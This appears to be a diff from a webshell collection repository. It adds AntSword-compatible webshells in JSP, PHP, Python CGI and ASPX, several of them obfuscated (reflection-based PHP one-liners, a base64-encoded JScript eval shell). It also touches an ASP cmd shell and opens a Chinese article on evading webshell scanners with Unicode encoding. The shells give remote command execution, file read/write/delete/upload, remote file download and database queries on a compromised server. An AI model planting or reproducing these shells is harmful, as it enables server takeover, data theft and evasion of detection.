sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}else if(decode.equals("aes_base64") || decode == "aes_base64"){
String sb1 = "";
sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
return sb1.replace("\r\n","");
}
return str;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}else if(encode.equals("aes") || encode == "aes") {
String str1 = AesDecrypt(AesKey, str);
return str1.trim();
}
return str;
}
String AesEncrypt(String key, String cleartext) throws Exception {
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);
byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
String sb = encoder.encode(encryptedData);
return sb;
}
String AesDecrypt(String key ,String encrypted) throws Exception {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
byte[] byteMi = decoder.decodeBuffer(encrypted);
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
byte[] decryptedData = cipher.doFinal(byteMi);
return new String(decryptedData, "UTF-8");
}
String getKeyFromCookie(Cookie[] cookies){
String key = "";
StringBuilder result = new StringBuilder();
if( cookies != null ){
for (Cookie c : cookies) {
if (c.getName().equals(SessionKey)) {
key = c.getValue();
break;
}
}
}
if(key.length() < aes_keylen){
for(int i=0;key.length() < aes_keylen;i++){
key += aes_key_padding;
}
}if(key.length() > aes_keylen){
key = key.substring(0,aes_keylen);
}
return key;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
]]>
</jsp:declaration>
<jsp:scriptlet>
<![CDATA[
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
Cookie cookie = new Cookie(SessionKey, session.getId());
response.addCookie(cookie);
try {
AesKey = getKeyFromCookie(request.getCookies());
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = EC(decode(request.getParameter("z0")+"", encoder));
String z1 = EC(decode(request.getParameter("z1")+"", encoder));
String z2 = EC(decode(request.getParameter("z2")+"", encoder));
String z3 = EC(decode(request.getParameter("z3")+"", encoder));
String[] pars = { z0, z1, z2, z3};
output.append(decode(RetS,"base64"));
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}else{
sb.append(Version);
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
}
try {
output.append(asenc(sb.toString(), decoder));
}catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
output.append(decode(RetE, "base64"));
out.print(output.toString());
]]>
</jsp:scriptlet>
</jsp:root>

21
antSword-shells/php1.php Normal file
View File

@@ -0,0 +1,21 @@
<?php
class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);

25
antSword-shells/php2.php Normal file
View File

@@ -0,0 +1,25 @@
<?php
class Test1
{
private $para1 = '';
private $para2 = '';
public function __invoke($para1, $para2)
{
$para1($para2);
}
public function __construct($para1, $para2)
{
$this($para1, $para2);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);

46
antSword-shells/php3.php Normal file
View File

@@ -0,0 +1,46 @@
<?php
trait Dog
{
public $name="dog";
public function drive()
{
echo "This is dog drive";
}
public function eat($a, $b)
{
$a($b);
}
}
class Animal
{
public function drive()
{
echo "This is animal drive";
}
public function eat()
{
echo "This is animal eat";
}
}
class Cat extends Animal
{
use Dog;
public function drive()
{
echo "This is cat drive";
}
}
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$cat = new Cat();
$cat->eat($_key, $_value);

View File

@@ -0,0 +1,461 @@
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP Custom Script for Mysql
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
*
* 使用说明:
* 1. AntSword >= v2.0.7
* 2. 创建 Shell 时选择 custom 模式连接
* 3. 数据库连接:
* <H>localhost</H>
* <U>root</U>
* <P>123456</P>
*
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
*
* ChangeLog:
* Date: 2020/03/26 v1.4
* 1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
* 2. 增加动态修改字符编码接口
*
* Date: 2019/05/22 v1.3
* 1. 支持 mysqli 连接非默认端口
*
* Date: 2019/04/05 v1.2
* 1. 新增 listcmd 接口
* 2. 新增数据库支持函数检查接口
*
* Date: 2016/05/13 v1.1
* 1. 执行 DML 语句,显示执行状态
*
* Date: 2016/04/06 v1.0
* 1. 文件系统 和 terminal 管理
* 2. mysql 数据库支持
* 3. 支持 base64 和 hex 编码
**/
$pwd = "ant"; //连接密码
//数据编码 3 选 1
$encoder = ""; // default
// $encoder = "base64"; //base64
// $encoder = "hex"; // hex
//$cs = "UTF-8";
$cs=isset($_REQUEST['charset'])?$_REQUEST['charset']:"UTF-8";
/**
* 字符编码处理
**/
function EC($s){
global $cs;
$sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));
$ret = "";
try {
$ret = mb_convert_encoding($s, $cs, $sencode);
} catch (Exception $e) {
try {
$ret = iconv($sencode, $cs, $s);
} catch (Exception $e) {
$ret = $s;
}
}
return $ret;
}
/*传输解码*/
function decode($s){
global $encoder;
$ret = "";
switch ($encoder) {
case 'base64':
$ret = base64_decode($s);
break;
case 'hex':
for ($i=0; $i < strlen($s)-1; $i+=2) {
$output = substr($s, $i, 2);
$decimal = intval($output, 16);
$ret .= chr($decimal);
}
break;
default:
$ret = $s;
break;
}
return $ret;
}
function showDatabases($encode, $conf){
$sql = "show databases";
$columnsep = "\t";
$rowsep = "";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
}
function showTables($encode, $conf, $dbname){
$sql = "show tables from ".$dbname; // mysql
$columnsep = "\t";
$rowsep = "";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
}
function showColumns($encode, $conf, $dbname, $table){
$columnsep = "\t";
$rowsep = "";
$sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
}
function query($encode, $conf, $sql){
$columnsep = "\t|\t"; // general
$rowsep = "\r\n";
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
}
function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
$ret = "";
$m=get_magic_quotes_gpc();
if ($m) {
$conf = stripslashes($conf);
}
$conf = (EC($conf));
/*
<H>localhost</H>
<U>root</U>
<P>root</P>
*/
$host="";
$user="";
$password="";
if (preg_match('/<H>(.+?)<\/H>/i', $conf, $data)) {
$host = $data[1];
}
if (preg_match('/<U>(.+?)<\/U>/i', $conf, $data)) {
$user = $data[1];
}
if (preg_match('/<P>(.+?)<\/P>/i', $conf, $data)) {
$password = $data[1];
}
$encode = decode(EC($encode));
$port=split(":",$host)[1];
$host=split(":",$host)[0];
$conn = @mysqli_connect($host, $user, $password, "", $port);
$res = @mysqli_query($conn, $sql);
if (is_bool($res)) {
return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
}
$i=0;
if ($needcoluname) {
while ($col=@mysqli_fetch_field($res)) {
$ret .= $col->name.$columnsep;
$i++;
}
$ret .= $rowsep;
}
while($rs=@mysqli_fetch_row($res)){
for($c = 0; $c <= $i; $c++){
$ret .= trim($rs[$c]).$columnsep;
}
$ret.=$rowsep;
}
return $ret;
}
function BaseInfo(){
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D==""){
$D=dirname($_SERVER["PATH_TRANSLATED"]);
}
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
return $R;
}
function FileTreeCode($D){
$ret = "";
$F=@opendir($D);
if($F==NULL){
$ret = "ERROR:// Path Not Found Or No Permission!";
}else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;
}
$ret .= $M.$L;
@closedir($F);
}
return $ret;
}
function ReadFileCode($F){
$ret = "";
try {
$P = @fopen($F,"r");
$ret = (@fread($P,filesize($F)));
@fclose($P);
} catch (Exception $e) {
$ret = "ERROR://".$e;
}
return $ret;
}
function WriteFileCode($path, $content){
return @fwrite(fopen(($path),"w"),($content))?"1":"0";
}
function DeleteFileOrDirCode($fileOrDirPath){
function df($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
if((is_dir($pf))&&($f!=".")&&($f!="..")){
@chmod($pf,0777);
df($pf);
}
if(is_file($pf)){
@chmod($pf,0777);
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
$F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
if(is_dir($F)){
return (df($F));
}
else{
return (file_exists($F)?@unlink($F)?"1":"0":"0");
}
}
function DownloadFileCode($filePath){
$F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
}
}
function UploadFileCode($path, $content){
$f=$path;
$c=$content;
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
return (@fwrite(fopen($f,"a"),$buf)?"1":"0");
}
function CopyFileOrDirCode($path, $content){
$m=get_magic_quotes_gpc();
$fc=($m?stripslashes($path):$path);
$fp=($m?stripslashes($content):$content);
function xcopy($src,$dest){
if(is_file($src)){
if(!copy($src,$dest))
return false;
else
return true;
}
$m=@dir($src);
if(!is_dir($dest))
if(!@mkdir($dest))
return false;
while($f=$m->read()){
$isrc=$src.chr(47).$f;
$idest=$dest.chr(47).$f;
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
if(!xcopy($isrc,$idest))return false;
}else if(is_file($isrc)){
if(!copy($isrc,$idest))
return false;
}
}
return true;
}
return (xcopy($fc,$fp)?"1":"0");
}
function RenameFileOrDirCode($oldName, $newName){
$m=get_magic_quotes_gpc();
$src=(m?stripslashes($oldName):$oldName);
$dst=(m?stripslashes($newName):$newName);
return (rename($src,$dst)?"1":"0");
}
function CreateDirCode($name){
$m=get_magic_quotes_gpc();
$f=($m?stripslashes($name):$name);
return (mkdir($f)?"1":"0");
}
function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
$m=get_magic_quotes_gpc();
$FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
$TM=strtotime((m?stripslashes($newTime):$newTime));
if(file_exists($FN)){
return (@touch($FN,$TM,$TM)?"1":"0");
}else{
return ("0");
}
}
function WgetCode($urlPath, $savePath){
$fR=$urlPath;
$fL=$savePath;
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
return "1";
}else{
return "0";
}
}
function ExecuteCommandCode($cmdPath, $command){
$p=$cmdPath;
$s=$command;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
return ($ret!=0)?"ret={$ret}":"";
}
function probedb(){
$ret="";
$m=array(
'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
'sybase_close'
);
foreach ($m as $f) {
$ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
$ret.=("pdo_".$f."\t1\n");
}
}
return $ret;
}
function listcmd($binarr){
$ret="";
$arr=@explode(",", $binarr);
foreach($arr as $v){
$ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
}
return $ret;
}
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$funccode = EC($_REQUEST[$pwd]);
$z0 = EC(decode($_REQUEST['z0']));
$z1 = EC(decode($_REQUEST['z1']));
$z2 = EC(decode($_REQUEST['z2']));
$z3 = EC(decode($_REQUEST['z3']));
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
echo "->"."|";
$ret = "";
try {
switch ($funccode) {
case 'A':
$ret = BaseInfo();
break;
case 'B':
$ret = FileTreeCode($z1);
break;
case 'C':
$ret = ReadFileCode($z1);
break;
case 'D':
$ret = WriteFileCode($z1, $z2);
break;
case 'E':
$ret = DeleteFileOrDirCode($z1);
break;
case 'F':
DownloadFileCode($z1);
break;
case 'U':
$ret = UploadFileCode($z1, $z2);
break;
case 'H':
$ret = CopyFileOrDirCode($z1, $z2);
break;
case 'I':
$ret = RenameFileOrDirCode($z1, $z2);
break;
case 'J':
$ret = CreateDirCode($z1);
break;
case 'K':
$ret = ModifyFileOrDirTimeCode($z1, $z2);
break;
case 'L':
$ret = WgetCode($z1, $z2);
break;
case 'M':
$ret = ExecuteCommandCode($z1, $z2);
break;
case 'N':
$ret = showDatabases($z0, $z1);
break;
case 'O':
$ret = showTables($z0, $z1, $z2);
break;
case 'P':
$ret = showColumns($z0, $z1, $z2, $z3);
break;
case 'Q':
$ret = query($z0, $z1, $z2);
break;
case 'Y':
$ret = listcmd($z1);
break;
case 'Z':
$ret = probedb();
break;
default:
// $ret = "Wrong Password";
break;
}
} catch (Exception $e) {
$ret = "ERROR://".$e;
}
echo $ret;
echo "|"."<-";
?>

View File

@@ -0,0 +1,349 @@
#!/usr/bin/env python
# coding:utf-8
from __future__ import print_function
import os
import cgi
import time
import stat
import getpass
import base64
import binascii
import shutil
import urllib
import platform
import cgitb
import sys
cgitb.enable()
reload(sys)
sys.setdefaultencoding('utf-8')
VERSION = "0.0.2"
u'''
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
—————————————————————————————————————————————————
AntSword Python2 CGI Custom Script No DataBase
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
—————————————————————————————————————————————————
使用说明:
1. AntSword >= v1.1-dev, Python == 2.x
2. 创建 Shell 时选择 custom 模式连接
3. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
4. 本脚本不含数据库管理操作
使用方法:
1. 修改 PWD, ENCODER, ENCODE
2. 复制本脚本到 cgi-bin 目录下(根据中间件配置来定)
3. 赋予可执行权限 chmod +x xxx.py
CHANGELOG:
Date 2018/12/30 v0.0.2
1. 修复 windows 下命令执行参数问题
2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
3. 修复 windows 下获取当前用户获取不到时致命错误
Date 2018/12/29 v0.0.1
1. 文件系统 和 terminal 管理
2. 支持 hex 和 base64 编码器
3. 脚本内统一使用 unicode 编码来处理
'''
PWD = "ant" # 连接密码
ENCODER = "" # 编码器, 3选1
# ENCODER = "hex" # 推荐使用此编码器
# ENCODER = "base64"
ENCODE = "utf-8" # 字符编码
OUT_PREFIX = "->" + "|" # 数据分割前缀符
OUT_SUFFIX = "|" + "<-" # 数据分割后缀符
def Decoder(enstr):
u'''解码方法,解AntSword 编码器编码后的数据
@param enstr string 已经经过编码器编码的数据
@return ret string 解码后的数据
'''
if(ENCODER == "base64"):
return base64.b64decode(enstr)
elif (ENCODER == "hex"):
return binascii.a2b_hex(enstr)
else:
return enstr
def TimeStampToTime(timestamp):
timeStruct = time.localtime(timestamp)
return time.strftime(u'%Y-%m-%d %H:%M:%S',timeStruct)
def BaseInfo():
u'''获取系统基础信息
@return ret string Shell或网站根目录\t盘符\tuname信息\t当前用户
'''
ret = ""
d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
if(d == ""):
d = os.getcwd()
ret = "%s\t" % d
if(d.startswith('/')):
ret += "/"
else:
for L in range(ord('C'), ord('Z') + 1):
if(os.path.isdir("%s:" % chr(L))):
ret += "%s:" % chr(L)
ret += "\t"
ret += "%s\t" % ' '.join(platform.uname())
if platform.system().lower() == 'windows':
u = "Unknow" # windows 下没 pwd 使用 getpass.getuser 会出错
for name in ('LOGNAME','USER','LNAME','USERNAME'):
user = os.environ.get(name)
if user:
u = user
break
ret += u
else:
ret += getpass.getuser()
return ret
def FileTreeCode(d):
u'''获取指定目录下的文件和目录信息
@param d string 文件路径
@return ret string 文件名\t创建时间\t文件大小\t文件权限(RWX 或 8进制)
'''
ret = u""
# 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
if(os.path.exists(d.encode(ENCODE))):
for fname in os.listdir(d.encode(ENCODE)):
fname = fname.decode(ENCODE)
p = os.path.join(d, fname)
try:
fst = os.stat(p.encode(ENCODE))
name = fname
if stat.S_ISDIR(fst.st_mode):
name += "/"
ret += u"{}\t{}\t{}\t{}\n".format(name, TimeStampToTime(fst.st_mtime), fst.st_size, oct(fst.st_mode)[-4:])
except:
ret += u"{}\t{}\t{}\t{}\n".format(fname, TimeStampToTime(0), 0, 0)
else:
ret = "ERROR:// Path Not Found or No Permission!"
return ret.encode(ENCODE)
def ReadFileCode(fpath):
u'''获取指定路径文件内容
@param fpath string 文件路径
@return ret string 成功返回文件内容,失败抛出异常
'''
with open(fpath.encode(ENCODE), 'r') as fp:
return fp.read()
def WriteFileCode(path, content):
u'''向指定文件路径下写入content的内容
@param path string 文件路径
@param content string 文件内容(整个文件内容)
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
with open(path.encode(ENCODE), "w") as fp:
fp.write(content.encode(ENCODE))
return "1"
def DeleteFileOrDirCode(path):
u'''删除指定路径下的文件或目录
@param path string 文件或目录路径
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
if os.path.isdir(path.encode(ENCODE)):
shutil.rmtree(path.encode(ENCODE))
else:
os.remove(path.encode(ENCODE))
return "1"
def DownloadFileCode(path):
u'''下载指定路径的文件
@param path string 文件路径
@return None 直接在本方法内输出文件的二进制内容,失败则抛出异常
'''
with open(path.encode(ENCODE), 'r') as fp:
print(fp.read(),end='')
def UploadFileCode(path, content):
u'''上传文件
@param path string 文件路径 eg: /tmp/123
@param content hexstring 文件内容(分段) eg: 416e74 内容为 Ant
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
data = binascii.a2b_hex(content)
with open(path.encode(ENCODE), "a") as f:
f.write(data)
return "1"
def CopyFileOrDirCode(oldPath, newPath):
u'''复制文件或目录
@param oldPath string 原文件/目录路径 eg: /etc/passwd
@param newPath string 新文件/目录路径 eg: /tmp/passwd
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
if os.path.isdir(oldPath.encode(ENCODE)):
shutil.copytree(oldPath.encode(ENCODE), newPath.encode(ENCODE),symlinks=True)
else:
shutil.copy(oldPath.encode(ENCODE), newPath.encode(ENCODE))
return "1"
def RenameFileOrDirCode(oldPath, newPath):
u'''重命名文件或目录
@param oldPath string 原文件/目录路径 eg: /tmp/123
@param newPath string 新文件/目录路径 eg: /tmp/456
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
os.rename(oldPath.encode(ENCODE), newPath.encode(ENCODE))
return "1"
def CreateDirCode(path):
u'''新建目录
@param path string 新目录路径 eg: /tmp/123
@return ret string 成功返回 1 失败返回 0 或抛出异常
'''
os.makedirs(path.encode(ENCODE))
return "1"
def ModifyFileOrDirTimeCode(path, newTime):
u'''修改文件或目录的 最后一次修改时间
@param path string 文件/目录路径 eg: /tmp/123
@param newTime string 时间字符串 eg: 2018-12-12 20:48:54
@return ret string 成功返回 1 失败返回 0
'''
atime = int(time.mktime(time.strptime(newTime, '%Y-%m-%d %H:%M:%S')))
os.utime(path.encode(ENCODE), (atime, atime))
return "1"
def WgetCode(url, savepath):
u'''服务端 Wget
@param url string url 地址 eg: http://xxx.com/1.jpg
@param savepath string 文件路径 eg: /tmp/2.jpg
@return ret string 成功返回 1 失败返回 0
'''
urllib.urlretrieve(url, filename=savepath.encode(ENCODE))
return "1"
def ExecuteCommandCode(cmdPath, command):
u'''执行命令
@param cmdPath string 执行命令的shell路径 eg: /bin/sh
@param command string 执行的命令内容 eg: cd "/usr/";pwd;whoami
@return ret string 执行命令返回结果
'''
d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
if(d == ""):
d = os.getcwd()
cmd = []
if d[0] == "/":
cmd = [cmdPath, '-c', '%s' % command]
else:
cmd = '''%s /c "%s"''' % (cmdPath, command)
c_stdin, c_stdout, c_stderr = os.popen3(cmd)
c_stdin.close()
result = c_stdout.read()
c_stdout.close()
errmsg = c_stderr.read()
c_stderr.close()
return result + errmsg
def showDatabases(encode, conf):
u'''列出当前数据库系统下所有数据库
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@return ret string 执行结果, \t 为字段分割符
例如某连接下有3个数据库(mysql,test,information_schema),
则返回结果为:
mysql\ttest\tinformation_schema
'''
return "ERROR:// Not Implement"
def showTables(encode, conf, dbname):
u'''列出当前数据库下所有表
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param dbname string 数据库名 eg: mysql
@return ret string 执行结果, \t 为字段分割符
例如某数据库下有3张表(user,admin,member),则返回结果为:
user\tadmin\tmember
'''
return "ERROR:// Not Implement"
def showColumns(encode, conf, dbname, table):
u'''列出当前表下所有列
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param dbname string 数据库名 eg: mysql
@param table string 表名 eg: user
@return ret string 执行结果, \t 为字段分割符
例如某张表有3个字段(id,user,password), 则返回数据如下:
id\tuser\tpassword
'''
return "ERROR:// Not Implement"
def query(encode, conf, sql):
u'''执行 sql 语句
@param encode string 数据库连接编码 eg:utf8
@param conf string 连接字符串, 自己定义解析格式
@param sql string 要执行的sql语句
@return ret string 执行结果, \t|\t 为列分割符, \r\n为行分割符, 第一行为列名
例如某张表有3个字段(id,user,password), 查询的结果有2条数据,则返回数据如下:
id\t|\tuser\t|\tpassword\r\n1\t|\tadmin\t|\t123456\r\n2\t|\tuser\t|\t123456\r\n
'''
return "ERROR:// Not Implement"
if __name__ == "__main__":
print("Content-Type: text/html;charset=%s" % ENCODE)
print()
print(OUT_PREFIX.decode(ENCODE), end='')
ret = ""
try:
form = cgi.FieldStorage()
funcode = form.getvalue(PWD)
z0 = Decoder(form.getvalue("z0","").decode())
z1 = Decoder(form.getvalue("z1","").decode())
z2 = Decoder(form.getvalue("z2","").decode())
z3 = Decoder(form.getvalue("z3","").decode())
if(funcode == "A"):
ret = BaseInfo()
elif(funcode == "B"):
ret = FileTreeCode(z1)
elif(funcode == 'C'):
ret = ReadFileCode(z1)
elif(funcode == 'D'):
ret = WriteFileCode(z1, z2)
elif(funcode == 'E'):
ret = DeleteFileOrDirCode(z1)
elif(funcode == 'F'):
DownloadFileCode(z1)
elif(funcode == 'U'):
ret = UploadFileCode(z1, z2)
elif(funcode == 'H'):
ret = CopyFileOrDirCode(z1, z2)
elif(funcode == 'I'):
ret = RenameFileOrDirCode(z1, z2)
elif(funcode == 'J'):
ret = CreateDirCode(z1)
elif(funcode == 'K'):
ret = ModifyFileOrDirTimeCode(z1, z2)
elif(funcode == 'L'):
ret = WgetCode(z1, z2)
elif(funcode == 'M'):
ret = ExecuteCommandCode(z1, z2)
elif(funcode == 'N'):
ret = showDatabases(z0, z1)
elif(funcode == 'O'):
ret = showTables(z0, z1, z2)
elif(funcode == 'P'):
ret = showColumns(z0, z1, z2, z3)
elif(funcode == 'Q'):
ret = query(z0, z1, z2)
else:
pass
except Exception, e:
ret = "ERROR:// %s" % getattr(e, 'strerror', str(e))
print(ret, end="")
print(OUT_SUFFIX.decode(ENCODE))

2
asp/2022-08-12.aspx.txt Normal file
View File

@@ -0,0 +1,2 @@
<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NjA4N'+'TkyO3'+'ZhciB'+'zYWZl'+''+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('UA=='))+'S'+char(23088/312)+'1'+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Yg=='))+''+''+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('bg=='))+char(0x479a/0xeb)+char(0x1b4-0x14c)+char(0x370-0x316)+char(0x214-0x1a7)+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydw'+'YXNzJ'+'10sIH'+'NhZmU'+'pOzE4'+'MjU3N'+'zY7'+'')));%>

View File

@@ -39,7 +39,7 @@ end Function
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)

View File

@@ -0,0 +1,398 @@
### .NET WebShell 免杀系列之Unicode编码
由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题这不今天有个群友问.NET WebShell 绕过和免杀的方法,而.NET下通常用Process或其他的类和方法触发命令执行本文不走曲线救国的路线走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具那么是如何免杀的呢请阅读者保持好奇心跟随笔者一探究竟吧
